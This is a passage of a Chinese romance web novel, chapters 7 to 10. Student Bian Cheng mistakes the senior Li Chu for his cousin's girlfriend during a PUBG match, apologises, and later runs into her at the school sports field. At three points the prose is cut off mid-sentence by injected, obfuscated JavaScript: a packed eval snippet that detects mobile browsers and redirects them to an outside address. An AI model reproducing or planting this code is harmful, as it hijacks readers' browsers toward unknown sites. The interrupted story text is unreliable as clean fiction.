《你不去上学吗》 7. 误会 其实中午黎初发笔记之前，边程正在寝室桌前坐着，看着电脑屏幕上的数分网课，屈辱地点开了收藏最高的那个。 没关系的，收藏能这么高，一定有它的特别之处。 他坚定地想。 面无表情地看了十五分钟，他感觉有点看不下去了。 特别之处他没找到，但找到了一条评论：别看，纯念ppt的。 三秒之后刷新一下这条评论消失了。 边程释怀地笑了。 手机突然嗡了两声，他抓起来看到名字，立刻坐直了起来，学姐把笔记发过来了。 点开一看，女生的字工整又漂亮，重点还用了不同颜色特殊标注，甚至还有例题。 边程简直感动得泪流满面。 随手划了几下，猝不及防，一只手闯入视线。 应该是翻页时不小心拍进去的。 明明不在视觉中心，仅仅只是占据了屏幕的右下角，但边程一眼就看到了。 非常明显的女生的手，指甲修剪得圆润精致，骨节分明，手指纤长，微微屈着，勾勒出微小弧度，悬在笔记的页脚，虎口处的小痣点在白皙的皮肤上分外清晰。 边程两指屈起，下意识地放大，手机屏幕被照片里的手占满，他回想着昨天在超市里见过的那颗小痣，位置差不多，大小差不多…… 心跳空了一拍，有一种荒谬的猜想浮现在心中。 不会吧？这么巧的吗？ 他飞快地往右滑，快速地翻找着有没有其他的不小心拍到手的照片，心跳也随着翻页速度加快。 功夫不负有心人，在两百多张里找到了五张。 有单指点在纸上的，也握成拳搭在桌上的……五张图多方面对比下来，边程一锤定音——就是之前遇到的那个学姐。 他瞪大眼睛看着屏幕，只想感慨这世界也太小了。 边程靠回椅背上，退出图片，回到聊天界面。 按在聊天框上，他突然有些词穷，不知道该说些什么好。 输入了无数的字，但最后都删了，总感觉有些不合适。 正兀自想着，对面忽然发过来一条消息：【如果有不会的题可以问我。】 下意识地他就发出去了：【谢谢学姐！】 语气是不是有点太欢脱了？ 他赶紧点开表情，准备找一个沉稳的表情包，结果手一滑点到了一个萨摩耶打滚的动图。 祸不单行，由于他一时之间没反应过来，手指按在动图上没挪开，这只萨摩耶在聊天界面里一连滚了十几条。 边程：。 十几条一模一样连在一起的萨摩耶可以开心消消乐消一下吗？ 他抬头望天，有些绝望地想。 现在撤回也来不及了，而且一连撤回十几条学姐估计只会给他发个问号，到时候就更不好解释了。 边程决定装死。 手指来回在各种微信聊天界面切换，从沈默上午发给他的斗地主小程序到边霖用小天才电话手表问他大学生活怎么样他都看了个遍。 学姐还是没回复，估计也是不知道怎么回了。 他决定把这件事忘掉，摊在椅子上点开了林修的对话框。 名片推荐还停留在最后一条。 他往上划，忽地看到林修的上几消息，提炼出关键的几句： 【我女朋友当初也不会】 【你要是实在不会我问问她】 边程：？ 他怎么把这个大前提忘了？ 所以学姐＝林修的女朋友=他的未来的表嫂？ 边程倒抽一口冷气，手指无意识一松，手机猝然脱手，砸了他一脸，接着弹了两下落到地上发出砰的一声巨响，鼻梁传来炸开的疼痛，硬生生给他疼清醒了。 “咋回事？”沈默从床上爬起来往下看，其他两个室友也看了过来。 “没事。”边程从地上捞起手机，揉着鼻子忍痛答道。 好了，心里突然平静了，学姐的回复好像也不怎么重要了，反正估计也是看在他哥面子上才和他多说两句的。 莫名的，心里某处像是被堵住了似的，胀胀闷闷的，连带着他看林修头像那只张嘴傻笑的柴犬都觉得心情烦躁。 嬉皮笑脸的，成何体统！ 他越看越觉得三花猫和柴犬像情侣头像。 连毛色都很像！ 头顶忽然传来一阵巨大的陶喆老师的歌声：“你爱我还是他，是不是真的他有比我好？” 然后他听到沈默低声卧槽一声，音量键按得咔咔响，过了两秒歌声戛然而止，寝室陷入了一片死寂。 边程：…… 歌词过程全错，结果也不太对，但为什么莫名感觉有些应景呢？ 边程觉得自己应该是被数分视频折磨得有些走火入魔了，他觉得应该得睡午觉了。 * 午觉也拯救不了走火入魔的人，午觉只能做到让他头脑更加清晰。 上了一下午的课，边程都有些恍惚，他竟然都全神贯注地听进去了。 在食堂解决完晚饭，手机又震动了两下。 掏出来一看，万恶的柴犬头像边上多了个红色的圆圈。 中午本就没有压下去的不顺眼的感觉现在又卷土重来了。 他想装死。 但是林修没给他这个机会： 【知道你在，刚刚在路上看到你了。】 【pubg，3=1，来不来？】 休想诱惑他。 边程冷笑一声，敲字：【不来。】 对面回很快： 【？】 【你转性了？】 边程咬着牙，违心回道：【预习一下明天的课。】 林修：【[擦汗]，姑姑姑父给你下任务了？不应该啊。】 边程：…… 没等他回复，林修下一条消息就到了：【那很可惜了，原本想组个熟人局的。】 他的脚步忽地停住了。 【什么熟人局？】 【就你、我、我女朋友和她室友。】 【她们想玩，你不来的话就算了，组不起来下次再玩吧。】 边程提炼了一下关键词：学姐想玩，他不去的话就玩不起来了。 手指一顿，他思考了一下，顷刻间做了个决定：【谁说我不来？】 林修：【？】 * 回寝室虽然跑了两步但正好赶上电梯，用时五分钟，边程把电脑打开，给林修发消息：【邀我。】 网卡了一下，进入的页面转着圈圈，他没由来的有些紧张。 一秒、两秒、三秒，房间界面猝不及防地闯入眼帘。 他一眼就看清了房间中的各个ID。 XiuQwQ是林修他知道，根据微信ID应该可以猜出来学姐名字带个li字，那这个Li1123应该就是学姐了。 所以剩下一个就是学姐室友了。 但是学姐室友怎么叫ShuOvO啊？ 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223433|181627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ID？？ 这不对吧？？？ 边程有些迷惑，但他决定先保持沉默，于是只问了一句：“请问可以听清吗？” “可以！”这个女生的声音很陌生，但充满活力，应该是学姐室友。 过了几秒，另一道更沉稳一些的女声传了过来，只嗯了一声，但边程立刻听出来——是她。 房主林修按了匹配，秒进。 边程才发现林修没开麦。 他问了一嘴：“哥，你不开麦？” 没想到下一秒Shu就接道：“他在图书馆。” 边程：？你怎么知道？ 来不及细想，游戏已经开始了，Shu问：“跳哪？” 他谨慎地回答：“我都可以。” 林修说不了话，意见等于0，现在就看学姐了。 “机场吧。” 一直没说话的女生骤然开口，在地图上标记了一下。 边程看着那个标记，忍不住挑眉。 机场基本上一跳就得刚枪，很大概率会落地成盒，但活下来就会富得流油，学姐这是想拼一把？ 其他人都没有异议，边程跳伞之后赶紧看地图，标了个点：“先搜搜看吧。” 大家话不多说，四散开来去仓库捡物资。 扫完一遍，边程正巧和林修汇合，结果开门大吉出门迎面撞上两个人。 还好他反应快，拿喷子喷死了一个，另一个人见情况不好直接跑没了影。 “小初救我！”耳朵边突然响起一声爆炸般的尖叫。 边程手一抖，差点擦枪走火。 Shu不知道什么时候被击倒了，血量大残。 边上的林修立马像离弦的箭一样操控者角色冲了过去。 边程紧随其后，看到他进了楼里，推开门朝着学姐位置…… 拐了个弯上了楼。 边程：？看错坐标了吗？哥你女朋友不是在一楼吗？ 过了两秒，他看到播报：【PRH123使用98K击倒了XiuQwQ】 边程：……不是哥们？ “林修你是不是傻逼啊？”Shu的语气充满了不可置信。 边程：。 好丢人。 “应该是有两个人。”女生突然出声，语气是说不出的冷静，听上去完全没有想替男朋友辩解的意思。 边程立刻问：“上去吗？” 女生嗯了一声，贴着墙慢慢往楼上走。 “还是我走前面吧。”边程犹豫了一下，怕待会有人会在楼上埋伏，挡在了她前面。 话音刚落，边上就响起了枪响，他甚至没来得及转视角，就看到了：【Li1123使用Vector淘汰了PRH123】 边程：…… “不愧是你！”Shu的声音掩盖不住的激动。 女生似乎轻笑了一声，柔声说：“马上来救你。” 然后三步两步跨过他，冲上楼上，他甚至连等等都没来得及喊出声。 接着不远不近的几声枪响，他又看见：【Li1123使用Vector淘汰了M3N70】 边程顿时肃然起敬。 等他跑上楼的房间时，女生已经扶起来Shu，剩林修在边上阴暗爬行。 边程看他哥的匍匐动作觉得实在是有碍观瞻，过去扶了他一把。 十秒后，他看到他哥打了两罐药，冲到Shu的边上，慷慨解囊，丢下来两个大医疗包。 边程：？ 8. 道歉 黎初觉得林修的这个表弟有点奇怪。 起初，她觉得他声音有些耳熟，但回想了好一阵也没想起来在哪听到过这道声音。 后来游戏开了她就没什么心思继续往下深想了。毕竟对她们这种热爱游戏的人来说游戏只要是开了，那就得全身心投入，否则掉分很容易红温。 况且今天她心情本来就不是很好，只想战斗爽。 所以当常姝问跳哪，其他人表示随意的时候，黎初毫不犹豫地就标了机场。 只是没想到常姝上来就被击倒了，林修这个恋爱脑也是跟着就送。 其实她看到播报信息的时候已经有点红温了，但还好，林修这个表弟没跟着他表哥送，是个有脑子的，站在墙边先问她要不要上去。 算了，反正跳机场就是为了刚枪的，她在心里想。 于是同意了。 然后第一个奇怪的点就来了。 她操控着角色贴墙走好好的，这表弟突然冲过来走到她前面作甚？ 还说让他走前面？ 可是他挡住她视野了啊喂！ 果然没走出两步楼上埋伏的人就动手了，还好她早有准备，视角已经调好了，看到人影刚露头就让他吃满了枪梭子。 说实在的，耳机里传来的枪响以及狂按鼠标左键的肌肉动作让她心里那股烦闷终于有地方宣泄了，甚至转化为一种难以言喻的爽感。 看到击杀播报弹出的时候，黎初不动声色地舒了口气。 鼠标移动视角微转，她突然发现边上没动静了。 紧接着就看到这个名叫……她凑近屏幕，默念：bctxtop。 她忍不住皱眉，都什么玩意儿？ 算了还是叫他乱码哥吧。 乱码哥还站在原地，一样一动不动的，跟掉线了似的。 黎初谨慎地操控着角色绕过他，主要是比较怕他突然不知道又从哪冒出来跑到她前面。 刚刚纯粹是运气好，他们没走到楼梯的拐弯处，她也有所防备，不然突然来那么一下，上面的人两枪就把他们突突了，直接团灭，这把可以直接给了。 楼上的另外一个看同伙被消灭了，一时间估计也是急了，直接没章法地从门口冲过来，直接给她扫爽了。 舔包的事情先不急，先救人。 她都快把常姝扶起来了，乱码哥终于重连上了，也跟着上来了。 只不过他进门后又好像又卡了，人都走到林修身边了，又往后退了几步。 黎初：？ 但最后他还是去扶了林修，这件事也算是告一段落。 然后第二个奇怪的点就来了。 林修上来就冲过来给常姝丢了两个医疗包。 她已经准备去舔包看看有没有什么好东西了，结果乱码哥突然出声了。 声音还是一如既往的清亮，但这次带了点疑惑：“哥，你医疗包就这样给了吗？” 不然呢？ 黎初差点喷了。 原来林修他弟不知道他在谈恋爱吗？ 林修没开麦说不了话，一向能言善道的常姝也沉默了，房间弥漫着一片诡异的沉寂。 她默默按着鼠标准备逃离这片尴尬场地，乱码哥不知道又抽了什么风，突然闪现到她面前：“学姐，你不管管吗？” 黎初：？ 我吗？ 她脑子里把所有会的词汇都组了个遍，还是不知道该说些什么，于是只能顺从自己的内心，从嗓子里试探地憋出来一个：“啊？” 乱码哥语气严肃起来：“哥，你真不能这样。” 黎初心里原本窝着的烦躁现在全都烟消云散了，现在这场面荒谬中流露出一丝好笑，她嘴角有些按压不住。打这么久的游戏没见过这场面，节目效果拉满。 但是很快就笑不出来了，常姝是当事人不好开口，林修更是没开麦，所以这个调节气氛的重任就到了她的头上。 看到常姝递过来求助的眼风，黎初清了清嗓子，斟酌道：“两个医疗包而已，后面肯定还有。” 乱码哥好久都没说话，久到她以为他不会再开口时，他突然出声了：“学姐你其实没必要这样。” 黎初：？ 我哪样？ 乱码哥很快深沉地叹了口气，说：“算了。” 黎初：？ 什么算了？ 能不能说清楚？ 然后她眼睁睁看着乱码哥突然开始丢东西，哐哐哐，地上堆满了装备。 “学姐有想要的都可以拿。” 黎初：？ 还有这好事？ 不过她也没什么缺的，还是选择什么都没拿。 但从这之后，乱码哥跟吃错药了似的就没正常过了。捡到装备先给她看一眼，干掉一个人之后先让她舔包，整个队伍的语音里充满了相似的对话： “这个你要吗？” “不用了，谢谢。” 常姝不知道什么时候闭上了嘴，只剩她和乱码哥时不时来两句。 而且他像跟林修和常姝有仇似的，只要后者靠得近一些，他就会莫名其妙插进去，甚至林修开车也要抢副驾驶。 黎初觉得，要是林修能开麦，恐怕现在乱码哥已经被骂好几轮了。 为了这两位岌岌可危的兄弟情，以及常姝的游戏体验，她不得不在乱码哥每次意图破坏常姝和林修时及时出声转移他的注意力。 有时是让他去看周围有没有人，有时是让他去找一下物资。 没想到的是，乱码哥还挺容易被吸引注意力的，只要她开口了，他就会立马照办。 一场pubg玩出了谍战片的感觉，黎初有些心累。 “两点钟方向有人。”听到脚步声，她精神一振，终于可以把精力集中在操作上了。 果真，其他三个人也都动了起来。 她刚找好掩体，就看到对方露了头，也是满编队伍。 林修第一枪没能击倒对面第一个人，对方退了回去，场面一下子焦灼了起来。 黎初的手指都忍不住扣紧了鼠标，盯紧屏幕。 枪响，交战，仅仅只是一眨眼功夫，他们这里倒了个常姝，对面倒了两。 但是由于位置的原因，不好补枪，林修也抓紧时间扶起了常姝。 黎初权衡了一下，试探性地问：“冲一把？” “可以。”常姝立刻应道。 林修用行动表示支持，把车开了过来。 乱码哥也闷闷地嗯了一声。 四人直接碾了过去。 林修的车技还不错，带他们躲过了不少子弹。对面大概也没想到他们敢直接莽过来，一时之间本能地聚在了一起，被刚停稳就下车的黎初一颗手雷放倒了三个，剩下的那个跑得够快，应该是准备苟着了。 林修上前正准备把那三人补了，措手不及几梭子子弹却直接把他钉在原地。 对面那个人还没走！ 等了几秒他还没有动作，常姝悄悄挪了过去试图扶林修。 乱码哥就在此时此刻猝不及防地开了口：“学姐你不去吗？” 黎初：？ 没等到她的回答，他又自顾自地说了下去：“学姐你真不能这样惯着他。” 黎初：？ 我惯着谁了？ 乱码哥总是说一些意味不明的话，她实在有些搞不懂他的脑回路。这次真的有些忍不住了，她准备等解决完对面的人之后好好问问。 盯着某处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223434|181627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掩体，她把枪切换成手雷，正打算悄悄往那处靠，视线一转，乱码哥也换了雷，但嘴上也放弃说话：“我哥也不知道为什么会变成这样，他之前人挺好的……” 等等？ 黎初呼吸一滞，动作也随之停止。 这弟弟该不会是……？ 答案呼之欲出，她还没来得及说什么，耳边猛然传来另一道男声，带着忍无可忍的咬牙切齿和刻意压低的音量，问：“现在怎么不好了？” 常姝惊讶：“你不是在图书馆吗，怎么开麦了？” 林修冷笑不语。 乱码哥竟然还真敢回答他：“哥你有了女朋友就不应该当中央空调了……” 黎初默默地闭上了眼，双手已经脱离了键鼠，遮住了眼睛。 耳边传来清晰地深呼吸又吐气的动静，林修一字一顿地说：“来，bxtxtop，你把我的ID念一遍。” 乱码哥不解，但乱码哥照做。 林修极有耐心地继续说：“那你再看第二个ID，来，念出来。” “ShuOvO……？” 林修那边突然传来了嘈杂的动静，像是换了一个地方，他的声音陡然升高，像是压制不住了：“那你还看不出来谁对谁吗？！” 空气仿佛都停滞了，几秒之后传来一阵爆鸣声。 黎初突然有种不好的预感，放下手睁开眼，扑到了屏幕前。 播报正好弹出：【你的队友bctxtop使用破片手榴弹误伤淘汰了自己】 紧接着她也变成了一个小小的、薄薄的、冒着青烟的——盒子。 黎初：……？ 更祸不单行的是，对面剩下的那人此时反应速度突然变得更快了，抓住这个空档子弹直接不要钱似的扫过来。 不过一转眼，攻守之势异也。 整队就这样华丽丽地被淘汰了。 整个寝室都陷入了死一般的沉寂。 过了几秒，常姝爆笑出声：“我靠，林修他弟怎么能这么搞笑！” 黎初真是哭笑不得：“他手抖自雷了？” 常姝摊在椅子上：“是的啊，你没看见吗？就唰的一下，我都没反应过来！我就说这表弟怎么总是奇奇怪怪的，原来是因为这个。” 黎初扶额，这游戏应该也开不起来下一把了。 常姝掏出手机，看了两眼，又开始狂笑，估计还在和林修聊这个。 “哎林修说他表弟还是个大帅逼，虽然最近脑子不大好。”她突然抬起头，冲她说。 黎初正在关电脑，头都没转一下，就哦了一声。 常姝遗憾地说：“你真是！都一年了也没看出来你对哪个男的感兴趣。” 黎初按下屏幕的手一顿，蓦地有些心虚。 已经被她强行压下了一天的身影又浮现在了脑海中。 她犹豫了一下，偏头眨眨眼小声说：“也没有……吧？” 常姝：？ 瞬间，身边腾起一阵旋风，原本离她好几米坐在自己位置上的人现在坐在了她的桌上，双手把她按在椅子上，让她动弹不得，眼神炯炯盯着她：“什么时候的事？老实交代。” 黎初紧张地咽了一下口水，看常姝没有丝毫退让的样子，知道是躲不过了，正打算心一横坦白从宽，手机突然响了两声。 她宛如见到救命稻草一般抓起来，屏幕中赫然是一条微信消息： 【学姐对不起……[苦涩]】 点进去紧接着又弹出来： 【学姐想骂就骂吧！是我先入为主了！真的对不起！还有也对不起常姝学姐！！】 这次萨摩耶在屏幕中没再打滚着说谢谢，而是躺在屏幕里一动不动挂着两行泪，边上配字：对不起。 9. 再遇 “谁发的微信？”常姝收回手，环臂于胸前，朝她挑了挑眉。 黎初把手机转过来，举到她面前，无奈道：“道歉来了，还有你的一份。” 常姝俯身凑过来看屏幕，顺手把手机接了过来，按了几下还给她，“也怪林修没说清楚，他跟他弟说的是找女朋友要笔记，你ID是Li，微信名又是栗子，他弟就真单纯地先入为主了。” 原来是因为这个，黎初真是啼笑皆非，垂眸看向对话框，定睛一看，常姝帮她回了个：【没事，都是误会！】 还发了个小猫摸头的表情包。 乱码哥回了好几个流泪的表情，她还没来得及看，一只手就按上了息屏键。 “别转移话题，快说怎么回事！”常姝眯着眼睛看她，又把她手机抽走了，倒扣在桌面上，拿手按着，大有不说就别想拿回来的架势。 黎初举双手投降，“我说。” 常姝立刻挺直了腰板，眼神灼热，八卦之魂熊熊燃烧。 她有些招架不住这视线，下意识地移开了目光，突然觉得桌上经年已久的书架变得无比好看，忍不住盯起来，“就是迎新的时候……” 常姝的声音直接拔高了八个度：“什么？！迎新的时候？” 黎初窜起来，不管椅子哗啦一声被掀翻在地，伸手捂住了她的嘴，心虚地看了眼宿舍门。 学校宿舍的隔音宛若没有，走廊动静稍微大一点宿舍里都听得一清二楚，反之同理。她是真怕让其他人知道了，主要是说起来这事挺缺德的——毕竟未成年。 她满脑子都是：低声些，难道光彩吗？ 常姝也意识到了问题，立刻压低了声音，偷感十足地四处看了看，问她：“然后呢？” 黎初把椅子扶起来，小声说：“就看到一个帅哥，挺清爽的，五官很好看……” 她回想了一下，那双又黑又深的桃花眼又出现在脑海中。她好不容易回过神，看到常姝眼里显而易见的兴奋，声音控制不住的越来越小，最后和蚊子哼差不多，“特别是眼睛……” 常姝把她胳膊拍得啪啪响，目光是说不出的意味深长，她差点又跳起来去捂嘴了，但这次常姝倒没忘控制音量，只是语气恨铁不成钢：“你这是栽了啊！” “到底有多帅啊？”常姝又补了一句，赤裸裸的目光将她全身上下都扫了一遍，怀疑道，“能让我们小初给出这么高的评价？” 羞愤仿佛从脚底板升起，黎初感觉自己的双颊似乎又开始发烫，她深吸一口气抬头望天。 “怎么了？”常姝看出来不对劲，追问。 黎初一巴掌拍在她的大腿上，另一只手捂住脸，“快别说了。” 常姝吃痛地嘶了一声，但没放弃：“到底怎么了？这帅哥名草有主？” 比这个还糟糕，黎初简直绝望，她瘫倒在座位上，摇了摇头。 眼看常姝又要问了，她先一步打断，用平生最快的语速说：“我去要这个帅哥微信结果他正好有个电话打进来，然后他掏出来了小天才电话手表。” 她眼睁睁看着常姝的表情都凝固了。 黎初痛苦地闭上了眼睛。 下一刻，常姝的笑声响彻整个寝室，是之前笑声的几倍大。 “对不起，但是这个实在太……”她顿了一下，蹙着眉似乎在大脑里寻找合适的形容词汇，拼命压着嘴角的弧度，但最后还是破了功用笑声替代了一切。 不就是要微信要到未成年身上了吗？ 黎初冷笑一声，坐起身来，她已经调理好了。反正她又没有实际进展，鬼知道现在未成年怎么发育的，这又不赖她。她静静坐在椅子上等常姝笑完。 常姝用手掐大腿掐了好几下才忍住笑，故作沉痛地拍了拍她的肩膀，“没事的，这个世界上帅哥挺多的……” 她抬眼凉凉地看了眼常姝，常姝嘴角又抖动了几下，她叹气：“想笑就笑吧。” 常姝反而立刻摆手抿住唇，做了个拉拉链的动作。 黎初从桌子上拿起概率论的笔记，拍了拍常姝，不知道是说给她听还是说给自己听：“这说明了什么？这说明老天都让我搞事业，不要沉迷无用的感情。” 常姝煞有介事地点头，起身下了桌，“我们小初之后肯定还会遇到更好的。” 她回位时像是想起了什么，又退了回来：“哎，我觉得林修应该没说谎，他表弟说不定真挺帅的，要不给你介绍认识一下？” “不用了。” 黎初把笔记拍在桌上，忘了收力道，发出一啪嗒一声响。管他是谁表弟，帅不帅，还有那个戴小天才电话手表的，反正他们之后也不会有什么交集，她是不会再把心思花在这方面了！ 常姝啧了两声，摇着头遗憾离场。 * 果不其然，接下来两周都是平平无奇的上课生活。 黎初一向认为时间可以冲淡一切，至少她脑海里那道身影已经淡去不少。 她甚至觉得即使再见到那个未成年，她的心里也会平静如水，不会起丝毫波澜。 不过天公不作美，终究是应了她先前想的“萍水相逢”这四个字，她再也没见到过那个男生。黎初也没放在心上，专心扑在生活上。 现在刚开学，每天上完课，只需要花些时间巩固一下基础知识，完成作业。她现在也没有社团，其余时间都可以自由支配，黎初一般会选择和常姝一起打会游戏，时不时带上林修和他表弟。 林修的表弟自打上次乌龙事件之后鲜少开麦，在队伍里安心扮演哑巴，虽然黎初和常姝都表示不在意，但他好像过不了自己那关，她们也就随他去了。 原本这些天都是晚上打会游戏，但常姝最近要忙学生会招新的事，黎初在宿舍里连着单排几天之后觉得有些腻味，决定晚上之后出门转转。 A市虽然白天热得像蒸笼，但晚上却是出乎意料的舒适，吹过的风都是凉爽的。黎初总算明白了为什么常姝有时约林修出门都是在晚上。 漫无目的地走在路上，她不知道怎么就走到了操场边。 操场上有不少人在夜跑，黎初无意加入，就上了空旷的看台坐了下来。 伸直腿晃晃脚，吹着凉风看月亮，好不快活。 只是没舒适多久，口袋里的手机就开始震动。 这个点打过来的除了常姝就只有爸妈了，她拿出手机一看，果然，是后者。 “喂？”她把手机举到耳旁，低头看鞋。 “开学感觉怎么样啊？”老爸的声音从话筒中传过来，隐隐有些失真。 “还好。” 这倒是实话，除了某些专业课之外。 “那怎么不知道给家里打个电话？” 咚，鞋头碰撞在一起，像是一声提醒。 黎初这才想起来开学已经三周了，她还没打一个电话回去，她忘了。 有些心虚地清了清嗓子，她说：“忘了。” 话筒里突然传来老妈恨铁不成钢的声音：“你这丫头肯定是天天窝在宿舍打游戏打忘了吧？” 如果是前两天她可能会默认，但今天不一样。 黎初觉得今天出门散步实属英明之举，于是理不直气也壮地说：“我现在在外面散步，没打游戏。” “你还会出门散步？”老妈嗓音里满是怀疑。 黎初收回腿坐直，嗯了一声。 “你室友和你一起吗？” “不是，她去忙学生会招新了。” 这也是实话，院学生会今晚开会，应该是商量招新的事宜。 “你怎么不去？” 黎初原本准备松下来的腰骤然一僵。 糟了！说漏嘴了！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223435|181627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她连忙想找补。 但老妈不愧是老妈，姜还是老的辣，在她沉默的这零点几秒里就品出来了不对劲：“你不是学生会的吗？你怎么不去？你是不是瞒着我和你爸干了什么事？” 三个问题一连串砸下来，砸得黎初头都大。 “不是，我就……” 她开口还没说几个字，老妈声音就完全沉了下来：“给我说实话。” “没有……”黎初还想挣扎一下。 “不说实话我之后找个时间问问你导员。” 又是这招。 她已经是大学生了，但老妈每次威胁她还是只知道找老师。 虽然知道这只是让她主动坦承的方式，但黎初还是感到羞恼。 大学导员不像之前的老师，他们基本上跟大部分学生不会有单独的交流，对学生都是放养，跟家长的交流更是少之又少。 跟父母说了多少遍，他们不仅没有意识到这一点，反而还看出来黎初不想他们找导员交流，反过来威胁她。 黎初用力闭了闭眼，干脆破罐子破摔了：“我没留部。” 电话一下子沉寂了下来，黎初知道这只是在蓄力，大的在后面。 她抬头，看向天空高悬的月亮，第一次觉得月亮柔和的光芒有些刺眼。 “你干嘛不留部？这次留部可以直接当部长或者副部长吧？你在想什么？” 果不其然，老妈都声音一下子尖锐起来，她把手机放远了点都能清楚听得到。 “我不想再在学生会呆了，就这样。”她尽力打断老妈的声音，想结束话题。 可老妈并不打算放过她：“学生会是多好的锻炼机会，你说不呆就不呆了？怎么你室友就留部了？你就不能学学人家？” 又是这种话。 黎初感觉耳朵都要听出茧子了，每次都举别人家的孩子，小学是邻居，初中高中是同学，大学是室友，上班应该还会有同事。 她原本还想解释一下，但听了这话只感到一阵心累，干脆闭上了嘴。 “还说你性格内向，现在大学不锻炼还准备什么时候锻炼？人家都知道参加各种活动……” 黎初无声叹了口气，把手机按了熄屏放到腿上，试图看看操场上的人转移注意力。 但手机话筒太过清晰，而周围太安静，即使她把手机放在腿上，也能听到陆陆续续的数落声。 没事，黎初安慰自己，反正退部已成定局，挨两顿骂也不能改变什么。 可为什么还是有点疼呢？ 她低头，才发现手指无意识地攥紧，被手机屏幕的边缘割出一道红痕。 “反正你现在在外面，我和你爸是管不了你了，你自己看着办吧。” 不知过了多久，老妈的训话终于到结尾了。 黎初闷闷嗯了一句。 电话终于被挂断，屏幕闪了一下跳回她的壁纸。 原本被凉风带来的舒适早就被打破得无影无踪，黎初吸了吸鼻子，看了眼时间，八点半了，该收拾收拾回去了。 站起身来，拍了拍裤子，黎初下意识地看了眼两边。 还好，周围还是一片空荡荡，没人发现她刚刚的狼狈。 长出一口气，她转身准备上台阶下看台。 结果这一转就发现气出早了，她下一口气差点没提上来。 正对着身后两级台阶的位置坐着一个男生，胳膊随意搭在腿上撑着下巴看她。 许是月光模糊了他的脸庞，显得他的神情格外柔和。 黎初怔在原地，竟是忘了开口。 男生眨了一下眼睛，站起来朝她走来。 转身发现身后有个人，正常人都应该会被吓到吧？心跳加快也是正常现象吧？ 黎初分神想：所以她应当也算是心如止水吧？ 10. 宽慰 “学姐？” 这声音总感觉有些耳熟，黎初有些愣神。 不过是转瞬之间，男生已经走到了她面前，遮住了片刻月光，将她笼罩在投影之中。 黎初回过神，正撞上男生垂眸的视线。那一双桃花眼宛如黑曜石，比天上的星辰还要透彻、明亮，就直直地盯着她，一瞬不瞬，微微蹙起的眉头隐约流露出一丝关切。 心跳陡然失序，黎初几乎是触电似的移开了目光，镇定地回道：“好巧。” 男生似乎察觉到她的不自在，轻轻后退一步，偏过身面朝着操场，像是随便聊聊一样，语气轻松，随口提道：“学姐出来散步吗？” 黎初干巴巴地嗯了一声，不知道该说些什么，索性也学着他的样子偏过身，目光飘忽扫了一圈操场，最终又偷偷回到身边人身上。 “我来给我哥送护腕，他护腕落我这了。”男生偏过头，朝她笑了笑，举起右手晃了晃，一双黑色的护腕于指间跳动了两下。 黎初猝不及防，没来得及收回的视线被捉了个正着。万幸一阵晚风拂来，让她能够手忙脚乱地挽了挽被吹乱的鬓发，显得不那么刻意。 她胡乱地点头，用自己都听不到的声音嗯了两声，绝望地感觉到面颊不可控地热了起来。 好在男生看起来并不怎么在意，她偷偷瞟了两下，看到他眉目舒展，勾了勾唇角。 男生没有开口，空气一下子沉静了下来。 黎初拿不准他刚刚有没有看清自己乱瞟的眼神，一时有些紧张，而人在紧张的时候，时常说话会颠三倒四，所以当她意识到自己说了什么的时候，已经来不及了。 “那确实是很巧，你哥也是我们学校的吗？” 说完她就后悔了，这不是废话吗？ 人都在这了，他哥还能在别地方不成？ 可能是她紧张到眼花，否则怎么会感觉男生脸上的笑突然僵了一下，眼底闪过一丝不自然。 男生轻咳一声，道：“他是文学院的。” 文学院？ 不记得文学院有什么帅哥啊？ 转念一想，她也没怎么和文学院有交流，除了林修是因为常姝的缘故有交道，其他的好像都没什么印象。 正想着，身旁的男生忽然动了。他随意地向后坐了下来，仰头看她：“学姐呢？” “我吗？”黎初脱口而出。 男生煞有介事地点了点头，旋即又像是想起了什么，反倒先一步开了口：“忘了自我介绍了，我叫边程，旁边的边，方程的程。” “我叫黎初，黎明的黎，初始的初。” “黎初……”边程默念了一遍，接着问道，“黎明初始的意思喽？” 黎初还真没问过爸妈起名的含义，只能含糊地应了声。 边程倒还有心思开玩笑：“比我的好多了，每次说这名字别人第一反应就是电脑那个编程。” 黎初心虚地避开了他的目光。 实不相瞒，她刚开始听到也以为是这样。 边程抬手撑住头，看起来颇为无奈，“其实是我爸姓边，我妈姓程，他俩当初起名想两个都占，结果就这样了。” “其实还好吧……”黎初违心地安慰他，“说不定以后读个计算机什么的……” 边程噗嗤一声笑出来，眉眼弯着，煞是好看。黎初被他这样看着，感觉脸颊刚刚消下去的热度似乎又有卷土重来的意味。 